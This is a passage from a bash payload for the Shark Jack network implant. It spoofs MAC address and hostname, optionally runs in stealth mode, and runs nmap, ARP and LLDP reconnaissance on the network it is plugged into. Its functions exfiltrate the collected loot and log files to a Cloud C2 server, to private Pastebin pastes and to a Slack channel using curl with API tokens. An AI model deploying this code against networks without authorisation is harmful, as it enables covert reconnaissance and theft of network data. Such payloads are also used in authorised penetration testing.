C2EXFIL STRING $LOG_FILE $LOG_FILE_DESC && echo "Exfiltration of $LOG_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Cloud C2 has failed" >> $LOG_FILE
else
echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed, CC-CLIENT seems not to be running" >> $LOG_FILE
fi
fi
return
}
function EXFIL_TO_PASTEBIN() {
if [ "$EXFIL_TO_PASTEBIN" = "true" ]; then
# Login to pastebin and get a login key
PASTEBIN_LOGIN_KEY=$(echo | curl -s -d @- -d api_dev_key=$PASTEBIN_API_KEY -d api_user_name=$PASTEBIN_API_USER -d api_user_password=$PASTEBIN_API_PASSWORD $PASTEBIN_API_LOGIN_URL)
# Upload the loot as a paste
LOOT_FILES="$LOOT_DIR/*.txt"
for LOOT_FILE in $LOOT_FILES; do
LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/}
LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot
LOOT_FILE_DESC=${LOOT_FILE_DESC^^}
curl -s -d api_paste_code="$(<$LOOT_FILE)" -d api_paste_name="$LOOT_FILE_DESC" -d api_paste_expire_date=$PASTEBIN_EXPIRE_DATE -d api_dev_key=$PASTEBIN_API_KEY -d api_user_key=$PASTEBIN_LOGIN_KEY -d api_option=paste -d api_paste_private=2 $PASTEBIN_API_POST_URL && echo "Exfiltration of $LOOT_FILE to Pastebin has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Pastebin has failed" >> $LOG_FILE
sleep 5
done
LOG_FILE_DESC=$SCAN_COUNT-$TODAY-LOGFILE
curl -s -d api_paste_code="$(<$LOG_FILE)" -d api_paste_name="$LOG_FILE_DESC" -d api_paste_expire_date=$PASTEBIN_EXPIRE_DATE -d api_dev_key=$PASTEBIN_API_KEY -d api_user_key=$PASTEBIN_LOGIN_KEY -d api_option=paste -d api_paste_private=2 $PASTEBIN_API_POST_URL && echo "Exfiltration of $LOG_FILE to Pastebin has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Pastebin has failed" >> $LOG_FILE
fi
return
}
function EXFIL_TO_SLACK() {
if [ "$EXFIL_TO_SLACK" = "true" ]; then
LOOT_FILES="$LOOT_DIR/*.txt"
for LOOT_FILE in $LOOT_FILES; do
LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/}
LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot
LOOT_FILE_DESC=${LOOT_FILE_DESC^^}
curl -s -F title="$LOOT_FILE" -F file="@$LOOT_FILE" -F initial_comment="$LOOT_FILE_DESC" -F channels="$SLACK_CHANNEL_ID" -H "Authorization: Bearer $SLACK_OAUTH_TOKEN" $SLACK_API_UPLOAD_URL > /dev/null && echo "Exfiltration of $LOOT_FILE to Slack has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Slack has failed" >> $LOG_FILE
done
LOG_FILE_DESC=$SCAN_COUNT-$TODAY-LOGFILE
curl -s -F title="$LOG_FILE" -F file="@$LOG_FILE" -F initial_comment="$LOG_FILE_DESC" -F channels="$SLACK_CHANNEL_ID" -H "Authorization: Bearer $SLACK_OAUTH_TOKEN" $SLACK_API_UPLOAD_URL > /dev/null && echo "Exfiltration of $LOG_FILE to Slack has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Slack has failed" >> $LOG_FILE
fi
return
}
function RECON_COMPLETED_NOTIFICATION() {
if [ "$NOTIFY_HOMEY" = "true" ]; then
curl -s -i -X GET $HOMEY_WEBHOOK_URL?tag="SharkJack_recon_completed" > /dev/null && echo "Recon completed message has been sent to Homey" >> $LOG_FILE || echo "Recon completed message has NOT been sent to Homey as something went wrong" >> $LOG_FILE
fi
if [ "$NOTIFY_PUSHOVER" = "true" ]; then
curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack recon completed message" --form-string message="Loot identifier: $SCAN_COUNT-$TODAY, Complete recon scan took $SECONDS seconds" $PUSHOVER_API_POST_URL > /dev/null && echo "Recon completed notification has been sent to Pushover" >> $LOG_FILE || echo "Recon completed notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE
fi
if [ "$NOTIFY_SLACK" = "true" ]; then
curl -s -X POST -F text="SharkJack recon completed message. Loot identifier: $SCAN_COUNT-$TODAY, Complete recon scan took $SECONDS seconds" -F channel="$SLACK_CHANNEL_ID" -F user="n$SLACK_USER" -F token="$SLACK_OAUTH_TOKEN" $SLACK_API_POST_URL > /dev/null && echo "Recon completed notification has been sent to Slack" >> $LOG_FILE || echo "Recon completed notification has NOT been sent to Slack as something went wrong" >> $LOG_FILE
fi
return
}
function BLINK_INTERNAL_IP_ADDRESS() {
if [ "$BLINK_INTERNAL_IP_ADDRESS" = "true" ]; then
INTERNAL_IP_FIRST_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $1'})
INTERNAL_IP_SECOND_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $2'})
INTERNAL_IP_THIRD_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $3'})
INTERNAL_IP_LAST_OCTET=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F. {'print $4'})
LED OFF
# Uncomment sections in case you want to blink other octets as well
for i in {1..10}; do
sleep 4
#for (( i = 0; i < ${#INTERNAL_IP_FIRST_OCTET}; i++ )); do
# DIGIT=${INTERNAL_IP_FIRST_OCTET:$i:1}
#
# if [ $DIGIT = "0" ]; then
# LED W SOLID; sleep 1
# LED OFF; sleep 0.125
# else
# for (( j = 0; j < $DIGIT; j++ )); do
# LED W SOLID; sleep 0.05
# LED OFF; sleep 0.125
# done
# fi
# sleep 1
#done
#sleep 2
#for (( i = 0; i < ${#INTERNAL_IP_SECOND_OCTET}; i++ )); do
# DIGIT=${INTERNAL_IP_SECOND_OCTET:$i:1}
#
# if [ $DIGIT = "0" ]; then
# LED W SOLID; sleep 1
# LED OFF; sleep 0.125
# else
# for (( j = 0; j < $DIGIT; j++ )); do
# LED W SOLID; sleep 0.05
# LED OFF; sleep 0.125
# done
# fi
# sleep 1
#done
#sleep 2
#for (( i = 0; i < ${#INTERNAL_IP_THIRD_OCTET}; i++ )); do
# DIGIT=${INTERNAL_IP_THIRD_OCTET:$i:1}
#
# if [ $DIGIT = "0" ]; then
# LED W SOLID; sleep 1
# LED OFF; sleep 0.125
# else
# for (( j = 0; j < $DIGIT; j++ )); do
# LED W SOLID; sleep 0.05
# LED OFF; sleep 0.125
# done
# fi
# sleep 1
#done
#sleep 2
for (( i = 0; i < ${#INTERNAL_IP_LAST_OCTET}; i++ )); do
DIGIT=${INTERNAL_IP_LAST_OCTET:$i:1}
if [ $DIGIT = "0" ]; then
LED C SOLID; sleep 1
LED OFF; sleep 0.125
else
for (( j = 0; j < $DIGIT; j++ )); do
LED C SOLID; sleep 0.05
LED OFF; sleep 0.125
done
fi
sleep 1
done
sleep 2
done
echo "IP address has been send via light pattern on SharkJack" >> $LOG_FILE
fi
return
}
# ****************************************************************************************************
# Execute payload
# ****************************************************************************************************
# Setup
if [ "$STEALTH_MODE" = "true" ]; then
LED OFF
else
LED SETUP
fi
CREATE_SCAN_FOLDER # Checks loot folder with highest index number in loot root folder and creates the next loot folder for current scan
INITIALIZE_LOG_FILE # Initialize the log file
SET_NETMODE # Set NETMODE to DHCP_CLIENT (for SharkJack v1.1.0+)
CHANGE_HOSTNAME
CHANGE_MAC_ADDRESS # Change MAC address, note: changing the MAC address will also force a new IP address to be provided
LOOKUP_SUBNET
COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS # Copy back auto discovered DNS and Domain information
USE_CUSTOM_DNS_SERVER
START_SSH_SERVER # Start Secure SHell server
CHECK_DEFAULT_GATEWAY
CHECK_INTERNET_ACCESS # Check Internet access by pinging public host
GET_EXTERNAL_IP_ADDRESS # Get external (public) IP address by using public web service
RECON_STARTED_NOTIFICATION
START_CLOUD_C2_CLIENT
# Attack
if [ ! "$STEALTH_MODE" = "true" ]; then
LED ATTACK
fi
GRAB_IFCONFIG_LOOT
GRAB_TRACEROUTE_LOOT
GRAB_DNS_INFORMATION_LOOT
GRAB_PUBLIC_IP_WHOIS_LOOT
GRAB_LLDP_LOOT # Link Layer Discovery Protocol, lookup neighbors and interfaces
GRAP_ARP_SCAN_LOOT
GRAB_NMAP_LOOT
GRAB_NMAP_INTERESTING_HOSTS_LOOT
GRAB_DIG_LOOT
# Finish
if [ ! "$STEALTH_MODE" = "true" ]; then
LED STAGE2
fi
echo "Free diskspace after actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE
echo "Recon script took $SECONDS seconds" >> $LOG_FILE
EXFIL_TO_CLOUD_C2
EXFIL_TO_PASTEBIN
EXFIL_TO_SLACK
RECON_COMPLETED_NOTIFICATION
sync # Sync filesystem in order to prevent data loss
# ****************************************************************************************************
# Prevent logging after this line!
# ****************************************************************************************************
if [ ! "$STEALTH_MODE" = "true" ]; then
BLINK_INTERNAL_IP_ADDRESS
LED FINISH
fi
if [ "$HALT_SYSTEM_WHEN_DONE" = "true" ]; then
halt
fi